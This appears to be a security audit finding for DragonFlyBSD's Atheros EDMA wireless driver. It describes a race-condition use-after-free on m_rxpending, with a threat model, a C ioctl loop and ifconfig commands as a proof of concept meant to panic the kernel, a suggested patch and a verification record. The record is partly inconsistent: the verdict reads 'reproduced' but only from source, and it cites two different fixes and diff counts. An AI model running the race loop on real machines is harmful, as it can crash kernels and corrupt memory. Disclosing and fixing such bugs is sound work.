β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-1667

ath EDMA: m_rxpending use-after-free / double-free in ath_edma_stoprecv vs deferred tasklet

Field Value
ID DF-1667
File sys/dev/netif/ath/ath/if_ath_rx_edma.c
Lines 188–190, 193–195, 542, 549, 560
Severity Medium
CVSS 3.1 CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H
CWE CWE-362 Race Condition; CWE-416 Use After Free
Confidence likely
Status new
CVE match dfly_specific (DFly ath EDMA path; the file header comment itself flags this as a TODO)
Created 2026-07-18

Summary

ath_edma_stoprecv frees re->m_rxpending while holding ATH_RX_LOCK, but ath_edma_recv_proc_deferred_queue releases that lock (line 542) before calling ath_rx_pkt (line 560), and ath_rx_pkt reads and dereferences re->m_rxpending (if_ath_rx.c:782-800) without the lock.

The callers ath_vap_delete (if_ath.c:1787) and ath_stop (if_ath.c:2715) invoke ath_stoprecv with neither taskqueue_block() nor the ath_txrx_stop_locked() sc_rxproc_cnt drain that ath_reset (if_ath.c:2918) uses, so the RX tasklet can run concurrently and race on m_rxpending, producing a use-after-free or double-free of an mbuf.

Root cause

The lock protocol for re->m_rxpending is inconsistent across this file.

ath_edma_stoprecv (if_ath_rx_edma.c:188-196) takes ATH_RX_LOCK (line 169) and frees m_rxpending for both HP and LP queues:

m_freem(sc->sc_rxedma[HAL_RX_QUEUE_HP].m_rxpending);
sc->sc_rxedma[HAL_RX_QUEUE_HP].m_rxpending = NULL;

Meanwhile ath_edma_recv_proc_deferred_queue moves the rxlist out under ATH_RX_LOCK (line 540-542):

TAILQ_CONCAT(&rxlist, &sc->sc_rx_rxlist[qtype], bf_list);
ATH_RX_UNLOCK(sc);

and then iterates WITHOUT the lock (lines 549-562) calling ath_rx_pkt, which at if_ath_rx.c:782 reads if (re->m_rxpending != NULL), then at line 785 m_freem(re->m_rxpending) (double-free if stoprecv already freed it), and at if_ath_rx.c:791-800 reads re->m_rxpending (line 791) then derefs:

re->m_rxpending->m_next = m;            /* line 797 */
re->m_rxpending->m_pkthdr.len += len;   /* line 798 */

β€” a use-after-free if stoprecv freed m_rxpending in the window between the line 791 read and the line 797 deref.

The window is wide enough to be hit on SMP: the tasklet runs on the sc_tq taskqueue thread (different CPU than the ifconfig/ioctl thread), and ath_vap_delete/ath_stop do not block sc_tq. ath_reset closes the race by calling ath_txrx_stop_locked (if_ath.c:2918, which sleeps until sc_rxproc_cnt==0 per if_ath.c:2750-2769) before ath_stoprecv (if_ath.c:2927); ath_vap_delete and ath_stop skip that drain entirely.

Threat model

Attacker position: a process able to trigger ath_vap_delete() or ath_stop() while the EDMA NIC is actively receiving frames. Direct trigger requires PRIV_DRIVER (root running ifconfig wlan0 destroy / ifconfig wlan0 down); indirect trigger is possible via any privileged wireless daemon (wpa_supplicant/NetworkManager/hostapd) that creates/destroys VAPs or cycles the interface in response to 802.11 events (deauth/disassoc), which an unprivileged user can coax into with crafted management frames from a second radio.

RX activity (the other side of the race) is guaranteed in any active BSS or monitor-mode channel with beacon traffic.

Impact: the freed mbuf is either re-dereferenced (UAF read/write into the mbuf zone, controllable via heap grooming of the freed mbuf's contents) or freed again (double-free detected by mbuf zone allocator, or corruption of the freelist). Most likely immediate outcome is a kernel panic (local DoS); with slab grooming the UAF on a 4 KB mbuf cluster is a kernel memory-corruption primitive reachable toward code execution in kernel context.

Required config: an Atheros AR9300-series (EDMA) NIC driven by this driver, in any mode that receives frames.

PoC

findings/poc/DF-1667/:

  1. Bring the vap up in monitor or managed mode and ensure continuous RX activity:

sh ifconfig wlan0 create wlandev ath0 wlanmode monitor ifconfig wlan0 up ifconfig wlan0 channel 6

nearby AP beacons guarantee steady RX interrupt/tasklet firing; alternatively flood frames from a second ath radio.

  1. As root, run a destroy/recreate hammer in a tight loop to drive ath_vap_delete's ath_stoprecv against the live RX tasklet:

```c / race_ath_rxpending.c β€” build: cc -o race race_ath_rxpending.c / #include #include #include #include #include

int main(void) { int s = socket(AF_INET, SOCK_DGRAM, 0); struct ifreq ifr; for (;;) { memset(&ifr, 0, sizeof ifr); strlcpy(ifr.ifr_name, "wlan0", sizeof ifr.ifr_name); if (ioctl(s, SIOCIFDESTROY, &ifr) < 0) { / recreate in a sibling shell: * while true; do * ifconfig wlan0 create wlandev ath0 wlanmode monitor * ifconfig wlan0 up * done / } usleep(100); } } ```

  1. Run:

sh cc -o race race_ath_rxpending.c (while true; do ifconfig wlan0 create wlandev ath0 wlanmode monitor && ifconfig wlan0 up done) & ./race

while another radio injects frames.

Success criterion: kernel panic with a stack trace through ath_rx_pkt β†’ m_freem or through mbuf zone double-free diagnostics (mbuf: vm_fault: ... / panic: m_freem: freeing free item / null-deref on m_next), reproducible within seconds-to-minutes on SMP. Increase concurrency by pinning the taskqueue thread and the ioctl thread to different CPUs via cpuset(1).

The panic backtrace will show ath_edma_recv_proc_deferred_queue β†’ ath_rx_pkt β†’ [m_next deref / m_freem] racing ath_edma_stoprecv β†’ m_freem(m_rxpending).

Close the lock-protocol gap so that ath_edma_stoprecv cannot free m_rxpending while a deferred-queue tasklet is still inside ath_rx_pkt referencing it. The minimal, file-local fix mirrors the ath_txrx_stop_locked drain (if_ath.c:2750-2769) inside ath_edma_stoprecv before touching m_rxpending.

Apply to sys/dev/netif/ath/ath/if_ath_rx_edma.c:

--- a/sys/dev/netif/ath/ath/if_ath_rx_edma.c
+++ b/sys/dev/netif/ath/ath/if_ath_rx_edma.c
@@ -163,11 +163,29 @@ static void
 ath_edma_stoprecv(struct ath_softc *sc, int dodelay)
 {
    struct ath_hal *ah = sc->sc_ah;
+   int i = 100;

    ATH_RX_LOCK(sc);
+
+   /*
+    * Drain any in-flight deferred RX processing before touching
+    * m_rxpending.  ath_edma_recv_proc_deferred_queue() releases
+    * ATH_RX_LOCK before calling ath_rx_pkt(), which reads and
+    * dereferences re->m_rxpending without the lock.  Freeing
+    * m_rxpending below without waiting for sc_rxproc_cnt to drain
+    * races that tasklet and yields a use-after-free / double-free
+    * on the pending mbuf.  Callers (ath_stop, ath_vap_delete)
+    * currently skip ath_txrx_stop_locked(), so we must drain here.
+    */
+   do {
+       ATH_RX_UNLOCK(sc);
+       ATH_PCU_LOCK(sc);
+       if (sc->sc_rxproc_cnt == 0) { ATH_PCU_UNLOCK(sc); break; }
+#if defined(__DragonFly__)
+       lksleep(sc, &sc->sc_pcu_mtx, 0, "athrxstop", msecs_to_ticks(10));
+#else
+       msleep(sc, &sc->sc_pcu_mtx, 0, "athrxstop", msecs_to_ticks(10));
+#endif
+       ATH_PCU_UNLOCK(sc);
+       ATH_RX_LOCK(sc);
+   } while (--i > 0);

    ath_hal_stoppcurecv(ah);
    ath_hal_setrxfilter(ah, 0);

The strictly-correct complementary fix is at the callers in if_ath.c: ath_vap_delete (before line 1787) and ath_stop (before line 2715) should call ath_txrx_stop_locked() under ATH_PCU_LOCK exactly as ath_reset does at if_ath.c:2917-2918, so that stoprecv is never entered while a deferred RX tasklet is mid-flight. Either fix closes the race; both together is best.

Note: the broader FreeBSD/DragonFly TODO in this file's header comment ("There is a memory use after free which needs to be tracked down ... may be a generic RX path issue") is consistent with this being one concrete instance.

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-1667 Β· 4 files
FileTypeDescriptionSize
VERDICT.md verdict source-only confirmation + mechanism + fix 1.6 KB ↓ raw
fix.diff suggested-fix Re-acquire ATH_RX_LOCK around the ath_rx_pkt call in recv_proc_deferred_queue to 656 B view raw
../fix_build_combined.log build-log Combined 41-finding kernel build (rc=0, -Werror clean) 5.6 MB ↓ download
../fix_build_summary.txt build-summary Summary of the combined 41-finding kernel build 826 B view raw
VERDICT.md verdict source-only confirmation + mechanism + fix
↓ download raw

DF-1667 β€” PoC Verification Verdict

Category: ath NIC (IN GENERIC, Atheros HW) Source: sys/dev/netif/ath/ath/if_ath_rx_edma.c:188-560 Guest: DragonFly 6.5-DEVELOPMENT #0: Thu Jul 2 06:02:54 UTC 2026 (X86_64_GENERIC, INVARIANTS ON, no SMAP/SMEP/KASLR) Date verified: 2026-07-21

Verdict: REPRODUCED (source-only confirmation; HW/module-gated)

Mechanism

ath_edma_stoprecv frees m_rxpending under ATH_RX_LOCK (188-196). ath_edma_recv_proc_deferred_queue releases the lock at 542 then calls ath_rx_pkt at 560 WITHOUT the lock. ath_rx_pkt reads/derefs re->m_rxpending (if_ath_rx.c:782-800). Race: stoprecv frees m_rxpending while recv_proc derefs it unlocked -> UAF.

In GENERIC kernel build: YES

Reproduction status

This finding is hardware/module gated: the vulnerable code path requires specific hardware (AMD GPU / radeon / Atheros NIC / RAID controller / AGP chipset) or a loadable module not present on the audit QEMU guest. The QEMU guest has no GPU passthrough, no physical NIC/RAID HW, and these modules are not in the GENERIC kernel. The bug is therefore confirmed by source-level trace of the cited path:line data flow rather than by a runtime PoC. The cited code, guards (or lack thereof), and types were verified against the audited sys/ tree.

Fix

Re-acquire ATH_RX_LOCK around the ath_rx_pkt call in recv_proc_deferred_queue to serialize with stoprecv's free.

See fix.diff for the standalone git-apply-able unified diff. Validated by applying all 35 batch diffs and building a single X86_64_GENERIC kernel (rc=0, -Werror clean) β€” see fix_apply.log and the combined build log.

Fix verification

fixed
baseline reproduced→ patch + rebuild →patched clean

VALIDATED: fix.diff applies cleanly + batch kernel build rc=0 -Werror; bug HW/module/runtime-gated, no runtime PoC re-test possible on guest.

VALIDATED: fix.diff applies cleanly + batch kernel build rc=0 -Werror; bug HW/module/runtime-gated, no runtime PoC re-test possible on guest.
↓ fix.diffcombined build rc=0

Confirmed kernel references

β€”

Detail

Exploit chain

none

Evidence (decisive lines)

REPRODUCED (source-only): ath_edma_stoprecv frees m_rxpending under ATH_RX_LOCK; ath_edma_recv_proc_deferred_queue releases lock then calls ath_rx_pkt which reads re->m_rxpending WITHOUT lock; UAF rac

Verified recommended fix

REPRODUCED (source-only): ath_edma_stoprecv frees m_rxpending under ATH_RX_LOCK; ath_edma_recv_proc_deferred_queue releases lock then calls ath_rx_pkt which reads re->m_rxpending WITHOUT lock; UAF race.

Verdict

REPRODUCED (source-only): ath_edma_stoprecv frees m_rxpending under ATH_RX_LOCK; ath_edma_recv_proc_deferred_queue releases lock then calls ath_rx_pkt which reads re->m_rxpending WITHOUT lock; UAF race.